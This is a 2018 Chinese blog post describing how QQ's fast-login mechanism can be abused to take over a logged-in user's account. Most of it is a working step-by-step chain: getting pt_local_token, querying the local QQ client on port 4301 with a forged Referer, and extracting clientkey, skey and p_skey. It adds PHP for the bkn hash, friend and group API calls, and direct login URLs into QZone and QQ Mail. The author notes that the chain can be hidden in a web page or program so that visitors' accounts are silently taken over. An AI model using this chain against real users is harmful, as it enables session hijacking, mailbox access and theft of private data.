QQ号快速登录漏洞及被盗原理
首页 > PHP学习   作者:皮皮华  2018年6月12日 16:37 星期二  热度:5389°  字号:   评论:0 条
时间:2018-6-12 16:37   热度:5389°  评论:0 条 

为什么你什么都没干,但QQ空间中却发了很多小广告?也许你的QQ账号已经被盗。本文将讲解一个QQ的快速登录的漏洞。

而利用这个漏洞最终可以实现,只要你点击一个页面或运行过一个程序,那么我就可以拥有你的登录权限。可以直接进你邮箱,进你微云,进你QQ空间等....

本次学习的初衷是为了让自己的网站加入QQ群验证,用户绑定QQ后自动验证是否加入此群。示例网站:http://www.eleuu.com/qqsign/qun.php

图片1.png

但是要手动输入p_skeyuinskey的值,并且仅群内成员才可以在此页面更新群员数据。


后面研究QQ快速登录的过程发现,原来QQ快捷登录还是存在很多漏洞的。

前言:

用到的工具软件:火狐浏览器、Fiddler抓包软件、POSTMAN

1. 使用Fiddler软件进行抓包,注意抓取HTTPS数据需要如下图设置

 Fiddlerhttps配置方法.gif

2. 获取QQ登录的整个流程

整个流程.gif

3. php 的 curl 请求函数,我这里简写了

%1HOT]QNK(4AZS~2)6}A[4L.png

自己去仔细分析那些参数和返回的数据。对了,使用POSTMAN之前先关闭Fiddler,不然请求不到本地QQ数据。

接下来讲解QQ登录的一个过程。以获取群列表数据为例,这里分个步骤。


第一步:获取pt_local_token也叫pt_local_tk

向目标页面发送一个请求

https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=73&hide_close_icon=1&pt_no_auth=1&s_url=https%3A%2F%2Fqun.qq.com%2Fmember.html

其中通过参数s_url=https://qun.qq.com/member.html告诉服务器如果登录成功后请去往s_url这个页面。服务器先给它一个pt_local_token备注下,再通过响应头返回一堆Set-Cookie告诉客户端,存好这些数据,其中就包括了pt_local_token。一.gif

我们将pt_local_token赋值给变量$token,如图所示$token=-1432336490


第二步:获取本地登录的QQ号码

这一次我们需要请求本地的4301端口,其中{$token}第一步获取的pt_local_token

https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.0760575656488639&pt_local_tk={$token}

目标地址中r=0.0760575656488639这是个随机数,不需要也可以。

这一次我们需要伪造请求头信息

Referer: https://xui.ptlogin2.qq.com

Cookie: pt_local_token={$token}

其中Referer是指是从哪里来请求的,这里腾讯做了限制,必须是地址中含有*.ptlogin2.qq.com二.gif

返回的结果是个JSON数组里面就有uinQQ号,我们将其赋值给$uin,如图所示$uin=775262592

我们获取到的json数据为:var var_sso_uin_list=[{"account":"775262592","client_type":65793,"face_index":693,"gender":1,"nickname":"葑茚�記憶","uin":"775262592","uin_flag":54559302}];ptui_getuins_CB(var_sso_uin_list);

使用如下正则匹配即可取出uin

preg_match("/var_sso_uin_list=(.*?);ptui_getuins_CB/", $body, $matches);

$jsonObj = json_decode($matches[1], false);

$uin =  $jsonObj[0]->uin;

 

第三步:获取QQclientkey

目标地址

https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin={$uin}&callback=ptui_getst_CB&r=0.4266647630782271&pt_local_tk={$token}

填入第一、二步获取的$uin$token再填入和第二步相同的请求头

Referer: https://xui.ptlogin2.qq.com

  Cookie: pt_local_token={$token}

三.gif

我们在返回的cookies中找到clientkey如图所示$clientkey=

00015B1F75330068074611E821823862D91C5375106099B8B85F91C7069484BD790D1111AAADC5D3C3E71CA50ABAB349F436BA1C8EC69E054D63B864AE6C90CFF72128C92419410337B6E53E5931A8C0DD2BB4E770C05BB2737845D16CEDC5FE64909CFD09430419F1A21F9E4E0D9319


第四步:获取QQskey和第五步的请求地址

目标地址

https://ssl.ptlogin2.qq.com/jump?clientuin={$uin}&keyindex=9&pt_aid=715030901&daid=73&u1=https%3A%2F%2Fqun.qq.com%2Fmember.html%23&pt_local_tk={$token}&pt_3rd_aid=0&ptopt=1&style=40

填入第一、二步获取的$uin$token

请求头我们按以下设置

Referer: https://xui.ptlogin2.qq.com

Cookie: pt_local_token={$token};clientkey={clientkey};四.gif

从返回的cookies中找到skey,如图所示$skey=@zsZoAvHTn

我们从返回的json数据中可以得到第五步的目标地址$richurl=https://ptlogin2.qun.qq.com/check_sig?pttype=2&uin=775262592&service=jump&nodirect=0&ptsigx=9f05a5f5389aa9b9c5aff18347c516e5b12322b9888212bcbde401cc42491bed7087bba4c17ea36228fd735a14552a6affef0d63690d82ffb4d0e21ea529006e&s_url=https%3A%2F%2Fqun.qq.com%2Fmember.html&f_url=&ptlang=2052&ptredirect=100&aid=1000101&daid=73&j_later=0&low_login_hour=0®master=0&pt_login_type=2&pt_aid=715030901&pt_aaid=0&pt_light=0&pt_3rd_aid=0


第五步:获取QQp_skey

目标地址 第四步获得得到$richurl地址

我们不需要模拟请求头,直接请求地址即可。五.gif

从返回的cookies中找到p_skey,如图所示$p_skey=-xM0FTIxP3ih1gy8nPjlm4dIxACwRAyNp3riN1cpy2k_


第六步:调用数据接口

Bkn参数的计算:调用某些接口需用到bkn,这里我从腾讯官方的js文件找出,并简化出以下代码,

function GetBkn($skey){

    for ($i = 0,$hash = 5381;$i < strlen($skey);++$i){

        $hash += ($hash << 5) + ord(mb_substr($skey, $i, 1, 'utf-8'));

    }

    return (string)($hash & 2147483647);

}

$bkn=GetBkn($skey);

这里我用$skey=@zsZoAvHTn;代入计算得到$bkn=1962067900

1)取群员列表接口get_group_list

目标地址https://qun.qq.com/cgi-bin/qun_mgr/get_group_list

请求头Cookie: p_skey={$p_skey};uin=o{$uin} ;skey={$skey};

POST参数bkn={$bkn};

群列表:

六1.gif

2)取好友列表接口get_friend_list

目标地址https://qun.qq.com/cgi-bin/qun_mgr/get_friend_list

请求头Cookie: p_skey={$p_skey};uin=o{$uin} ;skey={$skey};

POST参数bkn={$bkn};

好友列表:

六2.gif

3)取群成员列表接口search_group_members

目标地址https://qun.qq.com/cgi-bin/qun_mgr/search_group_members

请求头Cookie: p_skey={$p_skey};uin=o{$uin} ;skey={$skey};

POST参数bkn={$bkn};end=20;gc=76773914;sort=0;st=0

其中end为要获取多少个,st为获取成员的起始位置

返回的count为总群员数

群成员列表:

六3.gif


4) 直接进入QQ空间

https://ssl.ptlogin2.qq.com/jump?pt_clientver=5575&pt_src=1&keyindex=9&ptlang=2052&clientuin=775262592&clientkey=00015B1F75330068074611E821823862D91C5375106099B8B85F91C7069484BD790D1111AAADC5D3C3E71CA50ABAB349F436BA1C8EC69E054D63B864AE6C90CFF72128C92419410337B6E53E5931A8C0DD2BB4E770C05BB2737845D16CEDC5FE64909CFD09430419F1A21F9E4E0D9319&u1=https:%2F%2Fuser.qzone.qq.com%2F775262592%2Finfocenter&source=panelstar

5) 直接进入邮箱

https://ssl.ptlogin2.qq.com/qqmail?pt_clientver=5575&pt_src=1&keyindex=9&Fun=clientread&ADUIN=775262592&ADSESSION=iii&ADTAG=jjj&clientuin=775262592&clientkey=00015B1F75330068074611E821823862D91C5375106099B8B85F91C7069484BD790D1111AAADC5D3C3E71CA50ABAB349F436BA1C8EC69E054D63B864AE6C90CFF72128C92419410337B6E53E5931A8C0DD2BB4E770C05BB2737845D16CEDC5FE64909CFD09430419F1A21F9E4E0D9319&ptlang=2052&httptype=0


从上面这些我们就可以看出,只要你电脑上登录了QQ,只要你打开了这个页面或者打开了这个窗体,那么你的账号就已经被入侵!

拿到了Cookie,你就可以通过CSRF(跨站伪装)的形式,来搞好多事情。

这些Cookie就相当于令牌,有了这个令牌就可以拥有快速登录的权限,就相当于你登录一般的网站,账号密码进去,后台会给浏览器注册一条Token来做状态验证一样。

可以在网站上放一个页面,里面跑http请求,或者搞个窗体,里面也跑http请求。不需要输入账号密码,可以直接拿着QQ空间发表留言的接口直接调用,可以直接爬虫抓相册图片,直接进邮箱,进微云等等等等。




 您阅读这篇文章共花了: 
捐赠支持:如果觉得这篇文章对您有帮助,请“扫一扫”鼓励作者!
 本文无需标签!
二维码加载中...
本文作者:皮皮华      文章标题: QQ号快速登录漏洞及被盗原理
本文地址:http://huazai.eleuu.com/?post=7
版权声明:若无注明,本文皆为“皮皮华博客”原创,转载请保留文章出处。

发表吐槽

你肿么看?

你还可以输入 250 / 250 个字

嘻嘻 大笑 可怜 吃惊 害羞 调皮 鄙视 示爱 大哭 开心 偷笑 嘘 奸笑 委屈 抱抱 愤怒 思考 日了狗

评论信息框


既然没有吐槽,那就赶紧抢沙发吧!